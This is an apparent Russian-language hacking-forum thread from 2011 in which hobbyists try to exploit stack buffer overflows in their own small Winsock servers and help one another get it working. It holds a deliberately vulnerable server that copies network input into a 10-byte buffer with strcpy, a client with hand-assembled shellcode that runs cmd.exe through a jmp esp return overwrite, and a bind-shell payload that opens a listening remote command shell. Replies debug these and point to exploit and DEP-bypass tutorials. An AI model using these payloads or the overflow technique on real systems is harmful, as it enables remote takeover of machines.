ПОМОГИТЕ ВЗЛОМАТЬ WEB-СЕРВЕР

Тема в разделе "WASM.BEGINNERS", создана пользователем pashe4ka13, 28 июл 2011.

  1. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Всем доброго времени суток! Написал на Си простой веб-сервер. Логика его проста: после запуска просит ввести логин:пароль, кодирует введенные данные в base64 и ожидает соединения на порту 80. После соединения с клиентом посылает ему запрос на авторизацию. Если в браузере введены правильные данные, то показывает html-страницу с надписью 200 ОК, если данные не верны, то снова отправляет запрос авторизации. Если пользователь нажал кнопку отмены в браузере, то паказывает html-страницу 401 Unauthorized. Затем на fasm я написал клиент, который должен был переполнить буфер сервера и выполнить на нем свой код. Но не получается ;( Исходники сервера и клиента в аттаче. Вообщем помогите кто чем может, а так же мне будут интересны любые замечания и коментарии по моему коду, так как программирование мое хобби и хочется знать мнение профессионалов.
     
  2. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    Где вопрос? Что не получается. Ты там так много посылаешь, что весь сервер затрешь нафиг. И уж никак твои коды не попадут на адрес возврата. Если я правильно твой ассемблер прочел - там будет jmp на 90909090 ( зачем так много NOP ты задал) и сервер вылетит.
     
  3. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Да вот дело в том, что он как раз и не вылетает
    Код (Text):
    1. char buf_zaprosa[1024] = "";
    2. int Errors;
    3. Errors = recv(s1, buf_zaprosa, sizeof(buf_zaprosa),0);
    наверное этот буфер нельзя переполнить?Если можно, то как?
    Код (Text):
    1. char buf_zaprosa[1024] = "";
    2. int Errors;
    3. Errors = recv(s1, buf_zaprosa, 2048,0);
    так переполниться и сервер вылетает, но только в том случае если я посылаю текст, если просто двоичные данные, то переполнения не происходит, а просто функция возвращает ошибку (-1 ошибка чтения данных) и сервер работает дальше как ни в чем не бывало. Я думаю это связано с тем, что по протоколу http можно пересылать только текст?
    пока я хотел только уронить сервер, но возникли проблемы, что написал выше
     
  4. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    pashe4ka13
    Да не, мне кажется тебе нужно не с recv() поработать,
    а с тем что recv() корректно примет и передаст в строковый
    буфер неправильной длины

    Вот посмотри такой примерчик. И ответь где в стеке должен
    начаться твой шелкод?
    Код (Text):
    1. .386
    2. .model flat, stdcall
    3. option casemap: none
    4.  
    5.    include \masm32\include\windows.inc
    6.    include \masm32\include\kernel32.inc
    7.    includelib \masm32\lib\kernel32.lib
    8.  
    9. _strspy PROTO :PTR BYTE
    10.  
    11. .data
    12.    source      db '1111111111111111111111111111111',0; 33 - символа
    13. .code
    14.  
    15. start:
    16.     invoke _strspy , offset source
    17.     invoke ExitProcess, 0
    18. ;----------------------------------------------
    19. _strspy proc uses esi edi, src:PTR BYTE
    20. LOCAL lBuffer[10]:BYTE
    21.     mov    esi, src
    22.     lea    edi, lBuffer
    23.     cld
    24. wh: lodsb
    25.     stosb
    26.     test   al, al
    27.     jne    wh
    28.     ret
    29. _strspy endp
    30. ;----------------------------------------------
    31. end start
     
  5. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    Так и не должно. Задал прочесть 1024. Оно и прочло. Почему должно больше?
     
  6. yurza

    yurza New Member

    Публикаций:
    0
    Регистрация:
    5 мар 2008
    Сообщения:
    69
    Что бы не плодить темы позвольте задать подобный вопрос в данной ветке
    есть уязвимый сервер
    Код (Text):
    1. int main(int argc, char* argv[])
    2. {
    3. WSADATA WSAData;
    4. if (WSAStartup(MAKEWORD(1,1), &WSAData)){
    5.     return -1;
    6.     }
    7. SOCKET Sock0 = socket(AF_INET, SOCK_STREAM, 0);
    8. if (Sock0<0){
    9.       WSACleanup();
    10.       return -1;
    11.     }
    12. sockaddr_in name;
    13. name.sin_family      = AF_INET;
    14. name.sin_port        = htons(666);
    15. name.sin_addr.s_addr = 0;
    16. if(bind(Sock0, (struct sockaddr FAR *) &name, sizeof(name))/*==SOCKET_ERROR*/){
    17.    closesocket(Sock0);
    18.    WSACleanup();
    19.    return -1;
    20. }
    21. if (listen(Sock0, 0x100)){
    22.       closesocket(Sock0);
    23.       WSACleanup();
    24.       return -1;
    25.     }
    26. SOCKET AcceptSocket;
    27. printf( "Waiting for a client to connect...\n" );
    28. while(1)
    29.     {
    30.        AcceptSocket = SOCKET_ERROR;
    31.         while ( AcceptSocket == SOCKET_ERROR ) {
    32.             AcceptSocket = accept( Sock0, NULL, NULL );
    33.         }
    34.        Sock0 = AcceptSocket;
    35.         break;
    36.     }
    37. char Buff[1024];
    38. char buffer[10];
    39. int bytesSent;
    40. int bytesRecv = SOCKET_ERROR;
    41. char sendbuf[32] = "Server: Sending Data.";
    42. bytesRecv = recv( Sock0, Buff, sizeof(Buff), 0 );
    43. strcpy(buffer, Buff);
    44. printf("%s",buffer);
    45. printf("%d",strlen(buffer));
    46. Sleep(5000);
    47. bytesSent = send( Sock0, sendbuf, strlen(sendbuf), 0 );
    48. return 0;
    49. }
    есть клиент
    Код (Text):
    1.        
    2.        unsigned char shell1[] =
    3.                         "\x8b\xec"                  //00402000  > 8BEC             MOV EBP,ESP
    4.                         "\x68\x65\x78\x65\x20"      //00402002  . 68 65786520      PUSH 20657865
    5.                         "\x68\x63\x6d\x64\x2e"      //00402007  . 68 636D642E      PUSH 2E646D63
    6.                         "\x8d\x45\xf8"              //0040200C  . 8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
    7.                         "\x50"                      //0040200F  . 50               PUSH EAX
    8.                         "\xb8\xAD\x23\x86\x7C"      //00402010  . B8 8D15867C      MOV EAX,kernel32.WinExec
    9.                         "\xff\xd0"                 //00402015  . FFD0             CALL EAX
    10.                         "\x33\xC0"                  //xor eax,eax
    11.                         "\x50"
    12.                         "\xb8\xFA\xCA\x81\x7C"
    13.                         "\xff\xd0";
    14.  
    15.         char buf[144];
    16.         int bytesSent;
    17.         int bytesRecv = SOCKET_ERROR;
    18.         memset(buf,0x00,sizeof(buf));
    19.         memset(buf,0x90,28);    
    20.         *(long *)&buf[28]=(0x7C86467B);  // Адрес jmp esp в kernel32.dll
    21.         memcpy(buf+strlen(buf),&shell1,strlen(shell1));
    22.         bytesSent=send(my_sock,buf,strlen(buf),0);
    23.         char recvbuf[1024] = "";
    24.         while( bytesRecv == SOCKET_ERROR ) {
    25.          bytesRecv = recv( my_sock, recvbuf, 1024, 0 );
    26.         if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) {
    27.             break;
    28.          }
    29.         if (bytesRecv < 0){
    30.             return;
    31.             }
    32.          }
    При таком раскладе все нормально происходит переполнение буфера
    при другом shellcode

    Код (Text):
    1. unsigned char bindcode[] =
    2. "\x83\xC4\xEC"                 //add esp,-0x14
    3. "\x33\xC0"                     //xor eax,eax
    4. "\x50"                         //push eax
    5. "\x6A\x01"                         //push eax
    6. "\x6A\x02"                         //push eax
    7. "\xB8\x11\x42\xA9\x71"         // mov eax, address of WSASocketA()
    8. "\xFF\xD0"                     // call eax
    9. "\x8B\xD8"                     // mov ebx,eax
    10. "\x33\xC0"                     //xor eax,eax
    11. "\x89\x45\xF4"                //mov [ebp-0x0c],eax
    12. "\xB0\x02"                    // mov al,0x02
    13. "\x66\x89\x45\xF0"            // mov [ebp-0x10],ax
    14. "\x66\xC7\x45\xF2\x02\x9A"  // вот здесь shell code обрывается типа ошибка чтения по адресу  
    15. "\x6A\x10"                    // push 0x10
    16. "\x8D\x55\xF0"                //lea edx,[ebp-0x10]
    17. "\x52"                        //push edx
    18. "\x53"                        //push edx
    19. "\xB8\x80\x44\xA9\x71"       // mov eax,address of bind()
    20. "\xFF\xD0"                   //call eax
    21. "\x6A\x10"                   //push 0x100
    22. "\x53"                       //push edx
    23. "\xB8\xD3\x8C\xA9\x71"       //mov eax, address of listen()
    24. "\xFF\xD0"                   //call eax
    25. "\x33\xC0"                   //xor eax,eax
    26. "\x50"                       //push eax
    27. "\x50"                       //push eax
    28. "\x53"                       //push edx
    29. "\xB8\x40\x10\xAA\x71"      // mov eax,address of accept()
    30. "\xFF\xD0"                  //call eax
    31. "\x8B\xD8"                  //mov ebx,eax
    32. "\xBA\x63\xD3\x81\x7c"     // mov edx,address of SetStdHandle()
    33. "\x53"
    34. "\x6A\xF6"
    35. "\xFF\xD2"
    36. "\x53"
    37. "\x6A\xF5"
    38. "\xFF\xD2"
    39. "\x53"
    40. "\x6A\xF4"
    41. "\xFF\xD2"
    42. "\xC7\x45\xFB\x41\x63\x6D\x64"
    43. "\x8D\x45\xFC"
    44. "\x50"
    45. "\xB8\xC7\x93\xC1\x77" // address of system()
    46. "\xFF\xD0";
    Подозреваю из-за того что в сервере char buffer[10]; при попытке увеличить данный буфер хотя бы до char buffer[40]; не как не могу переполнить буфер
    Код (Text):
    1.  char buf[1024];
    2.         int bytesSent;
    3.         int bytesRecv = SOCKET_ERROR;
    4.         memset(buf,0x00,sizeof(buf));
    5.         memset(buf,0x90,1024);    
    6.         bytesSent=send(my_sock,buf,strlen(buf),0);
    все отработало и ок. Может кто подскажет. За ранее спасибо
     
  7. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    yurza
    И ты думаешь, что что-то понятно. НЕ вижу уязвимости и не понимаю твои фразы про "расклад". В каком call уязвимость? Для чего ты привел коды с bindcode? Где объяснение нормальное, а не пара непонятных фраз. Мы же не сидим рядом с тобой и не видели что ты там творил...
     
  8. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    yurza
    Такое впечатление что ты взял где-то этот пример и суешь ему
    "в пасть" свой шел код.
    Начни все с начала. Начни с простого примера переполнения лок. буфера.
    Оно постепенно все проявится. Да и вопросы по ходу дела нормальные
    задавать будешь.
     
  9. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    _sheva740
    Не совсем понял твоего вопроса? Но я переполняю буфер как то так:
    Код (Text):
    1. format PE console 4.0 at 400000h
    2. include 'G:\fasm\INCLUDE\win32ax.inc'
    3. .data
    4.    source      db '1234567890123456',АДРЕС ВОЗВРАТА,\
    5.                        МОЙ SELL-код,0
    6. .code
    7. start:
    8.     stdcall _strspy , source
    9.     invoke ExitProcess, 0
    10. ;----------------------------------------------
    11. proc _strspy  src
    12. local lBuffer[10]:BYTE
    13.     mov    esi, [src]
    14.     lea    edi, [lBuffer]
    15.     cld
    16. wh: lodsb
    17.     stosb
    18.     test   al, al
    19.     jne    wh
    20.     ret
    21. endp
    22. ;----------------------------------------------
    23.  
    24. .end start
    Вот у меня только вопрос как мне узнать 'АДРЕС ВОЗВРАТА' ? Ведь он в зависимомти от загрузки секции данных будет всё время разный.Или я что-то не правильно понимаю и передача управления передается каким-то другим путем?
     
  10. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    pashe4ka13
    Вот тут http://tpoc.h16.ru/Articles/Over1.htm этот follower приводит
    простенький код, похожий на твой и рисунки с разжеванной "физикой процесса".
    Там imho объясняется доходчиво - как этот адрес получать.
     
  11. pashe4ka13

    pashe4ka13 New Member

    Публикаций:
    0
    Регистрация:
    4 окт 2010
    Сообщения:
    263
    Спасибо всем огромное за помощь, свой web-сервер я успешно взломал. Но получилось как,то не очень хорошо, в том плане, что пришлось подгонять задачу под её решение :-( Еще стало интересно есть ли техники обхода DEP и __security_init_cookie?
     
  12. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
  13. overxor

    overxor Dmitriy

    Публикаций:
    0
    Регистрация:
    3 апр 2010
    Сообщения:
    2
    у тебя уязвимый буфер находится по стеку ниже основного буфера.
    Сначала идет запись в buffer 10 байт, потом он пишет сам в себя.
    собственно этого пространство ему вполне хватает и ни до какого рет он не дотягивается(поэтому нет повреждения памяти).
    Поменяй переменные местами. И используй буферы побольше, так реально будет проще.
     
  14. ccrus

    ccrus New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2008
    Сообщения:
    9
    читай corelan.be
    там маны кореланкодера начиная от простого bof и до описания rop-техник разжевано на реальных примерах
    переводы первых 3 частей на эксплойт.ин выложены